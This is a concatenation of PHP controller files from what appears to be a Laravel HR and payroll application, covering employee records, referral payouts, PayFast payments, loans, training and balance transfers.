EmployeeDocument(); $employee_document->employee_id = $employee->employee_id; $employee_document->document_id = $key; $employee_document->document_value = $fileNameToStore; $employee_document->save(); } if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } // $employee_document = EmployeeDocument::where('employee_id', $employee->employee_id)->where('document_id', $key)->first(); // if (!empty($employee_document)) { // if ($employee_document->document_value) { // \File::delete(storage_path('uploads/document/' . $employee_document->document_value)); // } // // $employee_document->document_value = $fileNameToStore; // $employee_document->save(); // } else { // $employee_document = new EmployeeDocument(); // $employee_document->employee_id = $employee->employee_id; // $employee_document->document_id = $key; // $employee_document->document_value = $fileNameToStore; // $employee_document->save(); // } } } } if (!empty($request->document) && !is_null($request->document)) { $document_implode = implode(',', array_keys($request->document)); } else { $document_implode = null; } $employee = Employee::findOrFail($id); $input = $request->all(); $input['documents'] = $document_implode; $employee->fill($input)->save(); if ($request->salary) { return redirect()->route('setsalary.index')->with('success', 'Employee successfully updated.'); } if (\Auth::user()->type != 'employee') { // return redirect()->route('employee.index')->with('success', 'Employee successfully updated.'); return redirect()->route('employee.index')->with('success', __('Employee successfully updated.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } else { return redirect()->route('employee.show', \Illuminate\Support\Facades\Crypt::encrypt($employee->id))->with('success', __('Employee successfully updated.') . ((isset($result) && $result != 1) ? '
' . $result . '' : '')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if (Auth::user()->can('Delete Employee')) { $employee = Employee::findOrFail($id); $user = User::where('id', '=', $employee->user_id)->first(); $emp_documents = EmployeeDocument::where('employee_id', $employee->employee_id)->get(); $ContractEmployee = Contract::where('employee_name', '=', $employee->user_id)->get(); $payslips = PaySlip::where('employee_id', $id)->get(); $employee->delete(); $user->delete(); foreach ($ContractEmployee as $contractdelete) { $contractdelete->delete(); } foreach ($payslips as $payslip) { $payslip->delete(); } $dir = storage_path('uploads/document/'); foreach ($emp_documents as $emp_document) { $emp_document->delete(); // \File::delete(storage_path('uploads/document/' . $emp_document->document_value)); if (!empty($emp_document->document_value)) { $file_path = 'uploads/document/' . $emp_document->document_value; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); // unlink($dir . $emp_document->document_value); } } return redirect()->route('employee.index')->with('success', 'Employee successfully deleted.'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show($id) { if (\Auth::user()->can('Show Employee')) { try { $empId = \Illuminate\Support\Facades\Crypt::decrypt($id); } catch (\RuntimeException $e) { return redirect()->back()->with('error', __('Employee not avaliable')); } $documents = Document::where('created_by', \Auth::user()->creatorId())->get(); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $designations = Designation::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employee = Employee::find($empId); $employeesId = \Auth::user()->employeeIdFormat($employee->employee_id); $empId = Crypt::decrypt($id); // $employee = Employee::find($empId); // $branch= Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('employee.show', compact('employee', 'employeesId', 'branches', 'departments', 'designations', 'documents')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } function employeeNumber() { $latest = Employee::where('created_by', '=', \Auth::user()->creatorId())->latest('id')->first(); if (!$latest) { return 1; } return $latest->id + 1; } public function export() { $name = 'employee_' . date('Y-m-d i:h:s'); $data = Excel::download(new EmployeesExport(), $name . '.xlsx'); return $data; } public function importFile() { return view('employee.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $employees = (new EmployeesImport())->toArray(request()->file('file'))[0]; $totalCustomer = count($employees) - 1; $errorArray = []; for ($i = 1; $i <= count($employees) - 1; $i++) { $employee = $employees[$i]; $employeeByEmail = Employee::where('email', $employee[5])->first(); $userByEmail = User::where('email', $employee[5])->first(); if (!empty($employeeByEmail) && !empty($userByEmail)) { $employeeData = $employeeByEmail; } else { $user = new User(); $user->name = $employee[0]; $user->email = $employee[5]; $user->password = Hash::make($employee[6]); $user->type = 'employee'; $user->lang = 'en'; $user->created_by = \Auth::user()->creatorId(); $user->email_verified_at = date("Y-m-d H:i:s"); $user->save(); $user->assignRole('Employee'); $employeeData = new Employee(); $employeeData->employee_id = $this->employeeNumber(); $employeeData->user_id = $user->id; } $employeeData->name = $employee[0]; $employeeData->dob = $employee[1]; $employeeData->gender = $employee[2]; $employeeData->phone = $employee[3]; $employeeData->address = $employee[4]; $employeeData->email = $employee[5]; $employeeData->password = \Hash::make($employee[6]); $employeeData->employee_id = $this->employeeNumber(); $employeeData->branch_id = $employee[8]; $employeeData->department_id = $employee[9]; $employeeData->designation_id = $employee[10]; $employeeData->company_doj = $employee[11]; $employeeData->account_holder_name = $employee[12]; $employeeData->account_number = $employee[13]; $employeeData->bank_name = $employee[14]; $employeeData->bank_identifier_code = $employee[15]; $employeeData->branch_location = $employee[16]; $employeeData->tax_payer_id = $employee[17]; $employeeData->created_by = \Auth::user()->creatorId(); if (empty($employeeData)) { $errorArray[] = $employeeData; } else { $employeeData->save(); } } $errorRecord = []; if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totalCustomer . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = implode(',', $errorData); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } // public function json(Request $request) // { // $designations = Designation::where('department_id', $request->department_id)->get()->pluck('name', 'id')->toArray(); // return response()->json($designations); // } public function profile(Request $request) { if (\Auth::user()->can('Manage Employee Profile')) { $employees = Employee::where('created_by', \Auth::user()->creatorId())->with(['designation', 'user']); if (!empty($request->branch)) { $employees->where('branch_id', $request->branch); } if (!empty($request->department)) { $employees->where('department_id', $request->department); } if (!empty($request->designation)) { $employees->where('designation_id', $request->designation); } $employees = $employees->get(); $brances = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $brances->prepend('All', ''); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments->prepend('All', ''); $designations = Designation::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $designations->prepend('All', ''); return view('employee.profile', compact('employees', 'departments', 'designations', 'brances')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function profileShow($id) { if (\Auth::user()->can('Show Employee Profile')) { $empId = Crypt::decrypt($id); $documents = Document::where('created_by', \Auth::user()->creatorId())->get(); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $designations = Designation::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employee = Employee::find($empId); if ($employee == null) { $employee = Employee::where('user_id', $empId)->first(); } $employeesId = \Auth::user()->employeeIdFormat($employee->employee_id); return view('employee.show', compact('employee', 'employeesId', 'branches', 'departments', 'designations', 'documents')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function lastLogin(Request $request) { $users = User::where('created_by', \Auth::user()->creatorId())->get(); $time = date_create($request->month); $firstDayofMOnth = (date_format($time, 'Y-m-d')); $lastDayofMonth = \Carbon\Carbon::parse($request->month)->endOfMonth()->toDateString(); $objUser = \Auth::user(); $usersList = User::where('created_by', '=', $objUser->creatorId()) ->whereNotIn('type', ['super admin', 'company'])->get()->pluck('name', 'id'); $usersList->prepend('All', ''); if ($request->month == null) { $userdetails = DB::table('login_details') ->join('users', 'login_details.user_id', '=', 'users.id') ->select(DB::raw('login_details.*, users.id as user_id , users.name as user_name , users.email as user_email ,users.type as user_type')) ->where(['login_details.created_by' => \Auth::user()->creatorId()]) ->whereMonth('date', date('m'))->whereYear('date', date('Y')); } else { $userdetails = DB::table('login_details') ->join('users', 'login_details.user_id', '=', 'users.id') ->select(DB::raw('login_details.*, users.id as user_id , users.name as user_name , users.email as user_email ,users.type as user_type')) ->where(['login_details.created_by' => \Auth::user()->creatorId()]); } if (!empty($request->month)) { $userdetails->where('date', '>=', $firstDayofMOnth); $userdetails->where('date', '<=', $lastDayofMonth); } if (!empty($request->employee)) { $userdetails->where(['user_id' => $request->employee]); } $userdetails = $userdetails->get(); return view('employee.lastLogin', compact('users', 'usersList', 'userdetails')); } public function employeeJson(Request $request) { $employees = Employee::where('branch_id', $request->branch)->get()->pluck('name', 'id')->toArray(); return response()->json($employees); } public function joiningletterPdf($id) { $users = \Auth::user(); $currantLang = $users->currentLanguage(); $joiningletter = JoiningLetter::where('lang', $currantLang)->where('created_by', \Auth::user()->creatorId())->first(); $date = date('Y-m-d'); $employees = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $settings = \App\Models\Utility::settings(); $secs = strtotime($settings['company_start_time']) - strtotime("00:00"); $result = date("H:i", strtotime($settings['company_end_time']) - $secs); $obj = [ 'date' => \Auth::user()->dateFormat($date), 'app_name' => env('APP_NAME'), 'employee_name' => $employees->name, 'address' => !empty($employees->address) ? $employees->address : '', 'designation' => !empty($employees->designation->name) ? $employees->designation->name : '', 'start_date' => !empty($employees->company_doj) ? $employees->company_doj : '', 'branch' => !empty($employees->Branch->name) ? $employees->Branch->name : '', 'start_time' => !empty($settings['company_start_time']) ? $settings['company_start_time'] : '', 'end_time' => !empty($settings['company_end_time']) ? $settings['company_end_time'] : '', 'total_hours' => $result, ]; $joiningletter->content = JoiningLetter::replaceVariable($joiningletter->content, $obj); return view('employee.template.joiningletterpdf', compact('joiningletter', 'employees')); } public function joiningletterDoc($id) { $users = \Auth::user(); $currantLang = $users->currentLanguage(); $joiningletter = JoiningLetter::where('lang', $currantLang)->where('created_by', \Auth::user()->creatorId())->first(); $date = date('Y-m-d'); $employees = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $settings = \App\Models\Utility::settings(); $secs = strtotime($settings['company_start_time']) - strtotime("00:00"); $result = date("H:i", strtotime($settings['company_end_time']) - $secs); $obj = [ 'date' => \Auth::user()->dateFormat($date), 'app_name' => env('APP_NAME'), 'employee_name' => $employees->name, 'address' => !empty($employees->address) ? $employees->address : '', 'designation' => !empty($employees->designation->name) ? $employees->designation->name : '', 'start_date' => !empty($employees->company_doj) ? $employees->company_doj : '', 'branch' => !empty($employees->Branch->name) ? $employees->Branch->name : '', 'start_time' => !empty($settings['company_start_time']) ? $settings['company_start_time'] : '', 'end_time' => !empty($settings['company_end_time']) ? $settings['company_end_time'] : '', 'total_hours' => $result, // ]; $joiningletter->content = JoiningLetter::replaceVariable($joiningletter->content, $obj); return view('employee.template.joiningletterdocx', compact('joiningletter', 'employees')); } public function ExpCertificatePdf($id) { $currantLang = \Cookie::get('LANGUAGE'); if (!isset($currantLang)) { $currantLang = 'en'; } $termination = Termination::where('employee_id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $experience_certificate = ExperienceCertificate::where('lang', $currantLang)->where('created_by', \Auth::user()->creatorId())->first(); $date = date('Y-m-d'); $employees = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $settings = \App\Models\Utility::settings(); $secs = strtotime($settings['company_start_time']) - strtotime("00:00"); $result = date("H:i", strtotime($settings['company_end_time']) - $secs); $date1 = date_create($employees->company_doj); $date2 = date_create($employees->termination_date); $diff = date_diff($date1, $date2); $duration = $diff->format("%a days"); if (!empty($termination->termination_date)) { $obj = [ 'date' => \Auth::user()->dateFormat($date), 'app_name' => env('APP_NAME'), 'employee_name' => $employees->name, 'payroll' => !empty($employees->salaryType->name) ? $employees->salaryType->name : '', 'duration' => $duration, 'designation' => !empty($employees->designation->name) ? $employees->designation->name : '', ]; } else { return redirect()->back()->with('error', __('Termination date is required.')); } $experience_certificate->content = ExperienceCertificate::replaceVariable($experience_certificate->content, $obj); return view('employee.template.ExpCertificatepdf', compact('experience_certificate', 'employees')); } public function ExpCertificateDoc($id) { $currantLang = \Cookie::get('LANGUAGE'); if (!isset($currantLang)) { $currantLang = 'en'; } $termination = Termination::where('employee_id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $experience_certificate = ExperienceCertificate::where('lang', $currantLang)->where('created_by', \Auth::user()->creatorId())->first(); $date = date('Y-m-d'); $employees = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first();; $settings = \App\Models\Utility::settings(); $secs = strtotime($settings['company_start_time']) - strtotime("00:00"); $result = date("H:i", strtotime($settings['company_end_time']) - $secs); $date1 = date_create($employees->company_doj); $date2 = date_create($employees->termination_date); $diff = date_diff($date1, $date2); $duration = $diff->format("%a days"); if (!empty($termination->termination_date)) { $obj = [ 'date' => \Auth::user()->dateFormat($date), 'app_name' => env('APP_NAME'), 'employee_name' => $employees->name, 'payroll' => !empty($employees->salaryType->name) ? $employees->salaryType->name : '', 'duration' => $duration, 'designation' => !empty($employees->designation->name) ? $employees->designation->name : '', ]; } else { return redirect()->back()->with('error', __('Termination date is required.')); } $experience_certificate->content = ExperienceCertificate::replaceVariable($experience_certificate->content, $obj); return view('employee.template.ExpCertificatedocx', compact('experience_certificate', 'employees')); } public function NocPdf($id) { $users = \Auth::user(); $currantLang = $users->currentLanguage(); $noc_certificate = NOC::where('lang', $currantLang)->where('created_by', \Auth::user()->creatorId())->first(); $date = date('Y-m-d'); $employees = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $settings = \App\Models\Utility::settings(); $secs = strtotime($settings['company_start_time']) - strtotime("00:00"); $result = date("H:i", strtotime($settings['company_end_time']) - $secs); $obj = [ 'date' => \Auth::user()->dateFormat($date), 'employee_name' => $employees->name, 'designation' => !empty($employees->designation->name) ? $employees->designation->name : '', 'app_name' => env('APP_NAME'), ]; $noc_certificate->content = NOC::replaceVariable($noc_certificate->content, $obj); return view('employee.template.Nocpdf', compact('noc_certificate', 'employees')); } public function NocDoc($id) { $users = \Auth::user(); $currantLang = $users->currentLanguage(); $noc_certificate = NOC::where('lang', $currantLang)->where('created_by', \Auth::user()->creatorId())->first(); $date = date('Y-m-d'); $employees = Employee::where('id', $id)->where('created_by', \Auth::user()->creatorId())->first(); $settings = \App\Models\Utility::settings(); $secs = strtotime($settings['company_start_time']) - strtotime("00:00"); $result = date("H:i", strtotime($settings['company_end_time']) - $secs); $obj = [ 'date' => \Auth::user()->dateFormat($date), 'employee_name' => $employees->name, 'designation' => !empty($employees->designation->name) ? $employees->designation->name : '', 'app_name' => env('APP_NAME'), ]; $noc_certificate->content = NOC::replaceVariable($noc_certificate->content, $obj); return view('employee.template.Nocdocx', compact('noc_certificate', 'employees')); } public function getdepartment(Request $request) { if ($request->branch_id == 0) { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($departments); } public function json(Request $request) { if ($request->department_id == 0) { $designations = Designation::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } $designations = Designation::where('department_id', $request->department_id)->get()->pluck('name', 'id')->toArray(); return response()->json($designations); } public function view($id) { $users = LoginDetail::find($id); return view('employee.user_log', compact('users')); } public function logindestroy($id) { $employee = LoginDetail::where('user_id', $id)->delete(); return redirect()->back()->with('success', 'Employee successfully deleted.'); } } Http/Controllers/ReferralProgramController.php000064400000012441150364306410015644 0ustar00id)->first(); $payRequests = TransactionOrder::where('status', 1)->get(); $transactions = ReferralTransaction::get(); return view('referral-program.index', compact('setting', 'payRequests', 'transactions')); } public function store(Request $request) { $validator = \Validator::make( $request->all(), [ 'percentage' => 'required', 'minimum_threshold_amount' => 'required', 'guideline' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if ($request->has('is_enable') && $request->is_enable == 'on') { $is_enable = 1; } else { $is_enable = 0; } $setting = ReferralSetting::where('created_by', \Auth::user()->id)->first(); if ($setting == null) { $setting = new ReferralSetting(); } $setting->percentage = $request->percentage; $setting->minimum_threshold_amount = $request->minimum_threshold_amount; $setting->is_enable = $is_enable; $setting->guideline = $request->guideline; $setting->created_by = \Auth::user()->creatorId(); $setting->save(); return redirect()->route('referral-program.index')->with('success', __('Referral Program Setting successfully Updated.')); } public function companyIndex() { $setting = ReferralSetting::where('created_by', 1)->first(); $objUser = \Auth::user(); $transactions = ReferralTransaction::where('referral_code', $objUser->referral_code)->get(); $transactionsOrder = TransactionOrder::where('req_user_id', $objUser->id)->get(); $paidAmount = $transactionsOrder->where('status', 2)->sum('req_amount'); $paymentRequest = TransactionOrder::where('status', 1)->where('req_user_id', $objUser->id)->first(); return view('referral-program.company', compact('setting', 'transactions', 'paidAmount', 'transactionsOrder', 'paymentRequest')); } public function requestedAmountSent($id) { $id = \Illuminate\Support\Facades\Crypt::decrypt($id); $paidAmount = TransactionOrder::where('req_user_id', \Auth::user()->id)->where('status', 2)->sum('req_amount'); $user = User::find(\Auth::user()->id); $netAmount = $user->commission_amount - $paidAmount; return view('referral-program.request_amount', compact('id', 'netAmount')); } public function requestCancel($id) { $transaction = TransactionOrder::where('req_user_id', $id)->orderBy('id', 'desc')->first(); // $transaction->status = 0; // $transaction->req_user_id = \Auth::user()->id; $transaction->delete(); return redirect()->route('referral-program.company')->with('success', __('Request Cancel Successfully.')); } public function requestedAmountStore(Request $request, $id) { $order = new TransactionOrder(); $order->req_amount = $request->request_amount; $order->req_user_id = \Auth::user()->id; $order->status = 1; $order->date = date('Y-m-d'); $order->save(); return redirect()->route('referral-program.company')->with('success', __('Request Send Successfully.')); } public function requestedAmount($id, $status) { $setting = ReferralSetting::where('created_by', 1)->first(); $transaction = TransactionOrder::find($id); $paidAmount = TransactionOrder::where('req_user_id', $transaction->req_user_id)->where('status', 2)->sum('req_amount'); $user = User::find($transaction->req_user_id); $netAmount = $user->commission_amount - $paidAmount; $minAmount = isset($setting) ? $setting->minimum_threshold_amount : 0; if($status == 0) { $transaction->status = 0; $transaction->save(); return redirect()->route('referral-program.index')->with('error', __('Request Rejected Successfully.')); } elseif($transaction->req_amount > $netAmount) { $transaction->status = 0; $transaction->save(); return redirect()->route('referral-program.index')->with('error', __('This request cannot be accepted because it exceeds the commission amount.')); } elseif($transaction->req_amount < $minAmount) { $transaction->status = 0; $transaction->save(); return redirect()->route('referral-program.index')->with('error', __('This request cannot be accepted because it less than the threshold amount.')); } else { $transaction->status = 2; $transaction->save(); return redirect()->route('referral-program.index')->with('success', __('Request Aceepted Successfully.')); } } } Http/Controllers/PayfastController.php000064400000012607150364306410014165 0ustar00plan_id); $plan = Plan::find($planID); if ($plan) { $plan_amount = $plan->price; $order_id = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->coupon_amount > 0 && $request->coupon_code != null) { $coupons = Coupon::where('code', $request->coupon_code)->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $order_id; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } $plan_amount = $plan_amount - $request->coupon_amount; } } $success = Crypt::encrypt([ 'plan' => $plan->toArray(), 'order_id' => $order_id, 'plan_amount' => $plan_amount ]); $data = array( // Merchant details 'merchant_id' => !empty($payment_setting['payfast_merchant_id']) ? $payment_setting['payfast_merchant_id'] : '', 'merchant_key' => !empty($payment_setting['payfast_merchant_key']) ? $payment_setting['payfast_merchant_key'] : '', 'return_url' => route('payfast.payment.success', $success), 'cancel_url' => route('plans.index'), 'notify_url' => route('plans.index'), // Buyer details 'name_first' => $user->name, 'name_last' => '', 'email_address' => $user->email, // Transaction details 'm_payment_id' => $order_id, //Unique payment ID to pass through to notify_url 'amount' => number_format(sprintf('%.2f', $plan_amount), 2, '.', ''), 'item_name' => $plan->name, ); $passphrase = !empty($payment_setting['payfast_signature']) ? $payment_setting['payfast_signature'] : ''; $signature = $this->generateSignature($data, $passphrase); $data['signature'] = $signature; $htmlForm = ''; foreach ($data as $name => $value) { $htmlForm .= ''; } return response()->json([ 'success' => true, 'inputs' => $htmlForm, ]); } } } public function generateSignature($data, $passPhrase = null) { $pfOutput = ''; foreach ($data as $key => $val) { if ($val !== '') { $pfOutput .= $key . '=' . urlencode(trim($val)) . '&'; } } $getString = substr($pfOutput, 0, -1); if ($passPhrase !== null) { $getString .= '&passphrase=' . urlencode(trim($passPhrase)); } return md5($getString); } public function success($success) { $payment_setting = Utility::getAdminPaymentSetting(); try { $user = Auth::user(); $data = Crypt::decrypt($success); $plan = Plan::find($data['plan']['id']); Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $data['order_id']; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $data['plan']['name']; $order->plan_id = $data['plan']['id']; $order->price = $data['plan_amount']; $order->price_currency = $payment_setting['currency']; $order->txn_id = $data['order_id']; $order->payment_type = __('PayFast'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($data['plan']['id']); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } catch (Exception $e) { return redirect()->route('plans.index')->with('error', __($e)); } } } Http/Controllers/LoanController.php000064400000013303150364306410013441 0ustar00creatorId())->get()->pluck('name', 'id'); $loan =loan::$Loantypes; return view('loan.create', compact('employee','loan_options','loan')); } public function store(Request $request) { if(\Auth::user()->can('Create Loan')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'loan_option' => 'required', 'title' => 'required', 'amount' => 'required', // 'start_date' => 'required', // 'end_date' => 'required', 'reason' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $loan = new Loan(); $loan->employee_id = $request->employee_id; $loan->loan_option = $request->loan_option; $loan->title = $request->title; $loan->amount = $request->amount; $loan->type = $request->type; // $loan->start_date = $request->start_date; // $loan->end_date = $request->end_date; $loan->reason = $request->reason; $loan->created_by = \Auth::user()->creatorId(); $loan->save(); if( $loan->type == 'percentage' ) { $employee = Employee::find($loan->employee_id); $loansal = $loan->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('Loan successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Loan $loan) { return redirect()->route('commision.index'); } public function edit($loan) { $loan = Loan::find($loan); if(\Auth::user()->can('Edit Loan')) { if($loan->created_by == \Auth::user()->creatorId()) { $loan_options = LoanOption::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $loans =loan::$Loantypes; return view('loan.edit', compact('loan', 'loan_options','loans')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Loan $loan) { if(\Auth::user()->can('Edit Loan')) { if($loan->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'loan_option' => 'required', 'title' => 'required', 'amount' => 'required', // 'start_date' => 'required', // 'end_date' => 'required', 'reason' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $loan->loan_option = $request->loan_option; $loan->title = $request->title; $loan->type = $request->type; $loan->amount = $request->amount; // $loan->start_date = $request->start_date; // $loan->end_date = $request->end_date; $loan->reason = $request->reason; $loan->save(); if( $loan->type == 'percentage' ) { $employee = Employee::find($loan->employee_id); $loansal = $loan->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('Loan successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Loan $loan) { if(\Auth::user()->can('Delete Loan')) { if($loan->created_by == \Auth::user()->creatorId()) { $loan->delete(); return redirect()->back()->with('success', __('Loan successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/TrainingController.php000064400000017167150364306410014337 0ustar00can('Manage Training')) { $trainings = Training::where('created_by', '=', \Auth::user()->creatorId())->with(['branches', 'types', 'employees', 'trainers'])->get(); $status = Training::$Status; return view('training.index', compact('trainings', 'status')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Training')) { $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches->prepend('Select Branch', ''); $trainingTypes = TrainingType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $trainers = Trainer::where('created_by', \Auth::user()->creatorId())->get()->pluck('firstname', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $options = Training::$options; return view('training.create', compact('branches', 'trainingTypes', 'trainers', 'employees', 'options')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Training')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'training_type' => 'required', 'training_cost' => 'required', 'employee' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $training = new Training(); $training->branch = $request->branch; $training->trainer_option = $request->trainer_option; $training->training_type = $request->training_type; $training->trainer = $request->trainer; $training->training_cost = $request->training_cost; $training->employee = $request->employee; $training->start_date = $request->start_date; $training->end_date = $request->end_date; $training->description = $request->description; $training->created_by = \Auth::user()->creatorId(); $training->save(); return redirect()->route('training.index')->with('success', __('Training successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show($id) { $traId = Crypt::decrypt($id); $training = Training::find($traId); $performance = Training::$performance; $status = Training::$Status; return view('training.show', compact('training', 'performance', 'status')); } public function edit(Training $training) { if (\Auth::user()->can('Create Training')) { $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $trainingTypes = TrainingType::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $trainers = Trainer::where('created_by', \Auth::user()->creatorId())->get()->pluck('firstname', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $options = Training::$options; return view('training.edit', compact('branches', 'trainingTypes', 'trainers', 'employees', 'options', 'training')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Training $training) { if (\Auth::user()->can('Edit Training')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'training_type' => 'required', 'training_cost' => 'required', 'employee' => 'required', 'start_date' => 'required', 'end_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $training->branch = $request->branch; $training->trainer_option = $request->trainer_option; $training->training_type = $request->training_type; $training->trainer = $request->trainer; $training->training_cost = $request->training_cost; $training->employee = $request->employee; $training->start_date = $request->start_date; $training->end_date = $request->end_date; $training->description = $request->description; $training->save(); return redirect()->route('training.index')->with('success', __('Training successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Training $training) { if (\Auth::user()->can('Delete Training')) { if ($training->created_by == \Auth::user()->creatorId()) { $training->delete(); return redirect()->route('training.index')->with('success', __('Training successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export() { $name = 'training_' . date('Y-m-d i:h:s'); $data = Excel::download(new TrainingExport(), $name . '.xlsx'); return $data; } public function updateStatus(Request $request) { $training = Training::find($request->id); $training->performance = $request->performance; $training->status = $request->status; $training->remarks = $request->remarks; $training->save(); return redirect()->route('training.index')->with('success', __('Training status successfully updated.')); } public function getemployee(Request $request) { if ($request->branch_id == 0) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id')->toArray(); } else { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->where('branch_id', $request->branch_id)->get()->pluck('name', 'id')->toArray(); } return response()->json($employees); } } Http/Controllers/TransferBalanceController.php000064400000016312150364306410015605 0ustar00can('Manage Transfer Balance')) { $transferbalances = TransferBalance::where('created_by', '=', Auth::user()->creatorId())->get(); return view('transferbalance.index', compact('transferbalances')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Transfer Balance')) { $transferbalances = TransferBalance::where('created_by', '=', \Auth::user()->creatorId())->get(); $accounts = AccountList::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $paymentTypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('transferbalance.create', compact('transferbalances', 'accounts', 'paymentTypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Transfer Balance')) { $validator = \Validator::make( $request->all(), [ 'from_account_id' => 'required', 'to_account_id' => 'required', 'date' => 'required', 'amount' => 'required', 'payment_type_id' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $transferbalance = new TransferBalance(); $transferbalance->from_account_id = $request->from_account_id; $transferbalance->to_account_id = $request->to_account_id; $transferbalance->date = $request->date; $transferbalance->amount = $request->amount; $transferbalance->payment_type_id = $request->payment_type_id; $transferbalance->referal_id = $request->referal_id; $transferbalance->description = $request->description; $transferbalance->created_by = 